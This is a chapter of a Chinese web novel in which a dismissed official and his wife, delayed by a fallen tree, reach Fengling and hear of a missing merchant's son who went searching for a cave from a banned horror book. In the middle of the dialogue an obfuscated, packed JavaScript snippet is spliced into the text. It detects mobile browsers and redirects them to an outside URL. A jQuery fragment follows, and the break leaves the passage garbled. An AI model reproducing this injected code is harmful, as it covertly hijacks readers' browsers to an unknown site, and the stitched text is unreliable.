在客栈休整几日后,齐煊择了个好天气重新赶路。
晏锁蔚坐到马车上时,也只觉这几日在客栈中养酥了骨头,正巧般竹这两日赶制了一双软枕,方便她垫靠。
找了崇武堂的镖师作陪,齐煊也不必骑着马留意四周,也便随着她上了马车。
毕竟是罢官离京,不好在明面上显得奢靡,这次的马车比先前的都小些,用得也不是名贵的木料,但胜在结实,适合长途运用。
齐煊坐在马车中只觉哪哪都不舒服,虽说不用像骑马一样使劲儿,但以他这个身量而言,在马车中实在是受累,两人的膝盖都快抵到一起了。
可他也不愿下去,见晏锁蔚老神在在地看着一卷书,她并不娇小,反而比寻常女子高挑些,但在这有些狭小的马车中看起来丝毫没有不适。
他不禁有些疑惑,便开口道:“我今日坐上这马车才知晓路上有多难熬,你怎么动也不动,这书当真这么好看?”
晏锁蔚摇摇头,道:“你消停点,给自己找点事就不会感觉难受了。”
她说这话的时候眼皮抬都没抬一下,齐煊皱眉,又问:“这本书讲的什么?”
“普通的民间话本而已,在马车上还指望能读的进去什么圣贤书。”晏锁蔚还是没抬头。
民间话本?齐煊没怎么看过这类书,只是听府上扫洒的下人聊过什么“才子佳人”之类的,想来是一些风花雪月的故事。
她会喜欢什么样的故事呢?
齐煊有些好奇,偏头过去想看她手中的书封,晏锁蔚见他动作,干脆将书卷摊开给他看。
是一本《幽冥杂谈》。
齐煊:“……”
这本书他知道,去年秋日里市坊中烧了一批,现下是书斋中的禁书,内容倒是没什么大逆不道反讽天听的,就是这本志怪录描写过于恐怖。
书斋搞起“试胆”的噱头,使这书在京中名声大噪。
这书的作者号为“左卜子”,身份不详,有人说他是位八十岁的隐居道士,也有人传言称他是屡试不第的书生。
众说纷纭使得这书在京城的名气愈发高涨。
直到敏阳侯家的小世子看了这书后不敢观井,神神叨叨地说什么“井水绕膝”“红月洞”,好几日高烧不退,侯爷一气之下怒烧京城书斋之中的所有《幽冥杂谈》。
自此,虽没有官府禁严,但碍于敏阳侯威压,这本书在京中便成了“半本禁书”了。
齐煊虽没看过,但也听说过这本书的厉害,一时也有些好奇。
“前半本在书箱里,你要是想看我就让若蕙找出来。”
齐煊却摇头道:“我不看,我要看你手上的。”
晏锁蔚皱眉,终于抬头瞥了他一眼。
齐煊只做未觉,硬是挪到了晏锁蔚身侧,边挪边说:“这下总算能把腿伸直些了,”他调整位置,手正好摸到了般竹拿来的软枕,顿时瞪大眼睛:“好哇!你靠着这软枕,怪不得你不觉得腰不舒服!”
齐煊拿出了一个,又发现晏锁蔚身下还靠着一个,顿时不忿道:“你一个人靠两个,看着你夫君左转右转难受个不停……”
正当晏锁蔚要回话,车外猛地传来重物落地的声音,连带着马车都抖了一抖。
齐煊立刻收起嬉笑的表情,神色渐冷,掀开车帘朝外看了一眼。
“宁风!”
“属下在,前面一棵老木突然倒下压了官道,看起来像是前几日暴雨被雷劈断了主干。”
晏锁蔚和齐煊下了马车。
只见一巨木横于前路,一侧树干被前日的春雷劈得焦黑,树冠仍然葱葱郁郁,但有几段被压断,林间弥漫着木香。
崇武堂的镖头陈义率先带着人查看,那老树盘根错节,一朝倒塌,树根处的土也被一并翻出,留下了一大片土坑。
“官道被堵,现下齐大人的马车和我们的货物都无法行进,这边最近的官衙也要到丰陵,骑快马能在落日前赶到,若大人愿意能否与夫人先行前往丰陵报官,我们镖师队可以留下来看管大人的行李。”
眼下也没有别的办法,官道有专人管辖,从报官到修缮怎么说也要两日,齐煊应下,叫了两个侍卫带着晏锁蔚的侍女和简便行李,几人先行往丰陵赶去。
丰陵比先前歇脚的地方都要繁盛得多,就算没有官道被拦一事,依照晏锁蔚齐煊二人的性子,也定会在这里歇下。
他派了个侍卫称是商户家丁前往官府后,本打算和晏锁蔚找家饭馆用膳,却在半道被一位约莫四十多岁的男子拦下。
“公子?这位公子请留步啊,”那位中年男子急忙赶来,拦在齐煊面前,气喘吁吁地行了礼,面色焦急道:“叨扰公子了,请问您与夫人是刚从城外的官道过来的吗?”
“不错,请问您是?”齐煊打量他。
“我是丰陵四明商号的管家,我家少东家今天也走官道出了城,不知怎么现在也没回来,请问公子与夫人在路上可曾碰到一位穿蓝袍骑黑马的少年?”
齐煊与晏锁蔚面面相觑,双双摇头。
“官道上今天有棵老树塌了,我们正巧看见,没有人受伤,但也没看到你说的人,兴许是被老树拦住了。”
“不过,你家少爷出门没有带小厮么?”晏锁蔚问。
管家急得猛拍大腿,道:“少爷这两日闹着要去城郊看那个紫光洞,老爷不允,今日辰时发现少东家已经骑马出城了……这可怎么办是好……”
管家擦了擦额头上的虚汗,正打算再说,便被晏锁蔚打断。
齐煊也立刻心领神会安抚了管家一番,两人打着配合不让男人再插话,随后相携而去。
“这种丰陵本地有名的商号,对官道比我们熟悉得多,手上能指派的伙计也比我们两个异乡人来得多,问了情况还要拖延时间再问,多少有些不合常理,我们还是小心些比较好。”
晏锁蔚点点头,道:“哪怕四明商号真的有这样一位不知所踪的小少爷,我们也帮不上什么忙,只不过……紫光洞……真的有这么个地方吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417540|168869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
齐煊皱眉回忆了一番,摇头道:“我不记得舆图上有这个地方。”
“我想也是。”
“怎么,这地方有什么不对?”
“说来也巧,《幽冥杂谈》上有一节就讲了这个紫光洞。”晏锁蔚道。
“哦?又是这本书,那节都说了些什么?”
“书中的紫光洞是一个能控雷的妖精的洞府,因为妖精修行时会闪出雷电,那个洞府就被凡人称为紫光洞了。”
齐煊耸耸肩,道:“听着也不吓人么……你说这个商号的公子会不会也和敏阳侯世子一样,把书里东西当真了?”
“谁知道,或许吧,不过紫光洞这一节叫‘红雨送焦尸,左卜子夜取紫兽金’,吓人的是前半句。”
“左卜子不是那个写书的么?主角也叫这个名字?”齐煊疑惑。
“不错,这本书名为杂谈,就是因为作者假借自传的名义写志怪,才会有这么多人信,坊间说书听的人也多。”
齐煊嗤笑一声,道:“他倒是会做生意。不过话说回来,那小公子为何非要受虐去看‘红雨送焦尸’呢?难道是有什么怪癖不成。”
晏锁蔚摇头,说:“应该不是为了这个,书里那个妖怪能呼风唤雨,为山民耕作出了很多力,本是纯良的,但后来被人出卖给方士,紫光洞中电闪雷鸣后山村里频出怪事,天上下红雨,井里浮焦尸,左卜子夜探紫光洞后,发现里面妖兽死后满洞都是黄金,他把黄金取走后怪事就消失了。”
齐煊摇头道:“真是一个错漏百出的故事,妖兽都能呼风唤雨了,这不都厉害成龙王了?方士灭妖后怎么可能留一洞黄金等着这个左卜子去取,让他随随便便就名利双收。”
“随便,管他左卜子右卜子的,总之我们不去管这件事。”
正说着,两人已走到丰陵最大的酒楼福全楼,订了几间房,叫侍女侍卫先上去收拾着,两人便去雅间点菜用膳。
照例点了道鱼汤还有几个店家推荐的特色菜后,两人用起膳来,派去官府的侍卫也在这时回来报信,说官府已派人去勘探过,只要两日便能通行。
“城中可有别的异动?”齐煊想起遇到的怪异管家,顺口一问道。
“禀大人,丰陵最大的商号四明会贴了悬赏榜,招募全城有能之士往城外官道附近寻找他们少东家下落,给出的赏金不菲,眼下城中几乎所有的武官镖行,甚至是一些散户樵夫猎户都等着明日城门开后找人领赏呢。”
“真是奇了。”齐煊与晏锁蔚对视一眼,挥手让侍卫退下。
“这么大个商户要找人连叫城门放行一下的官府关系都没有,确实是一桩奇事,要是真出了什么事,等找到那少爷说不定都凉了。”晏锁蔚随口道。
猛地,她突然想起《幽冥杂谈》中的一段话,脸色渐沉。
“怎么了?”齐煊问。
晏锁蔚从雅间的花窗处眺望城门,明亮的月光洒在青石板街上,映入眼眸中,如一练泛着冷光的黑绸。
“无事,只等明日。”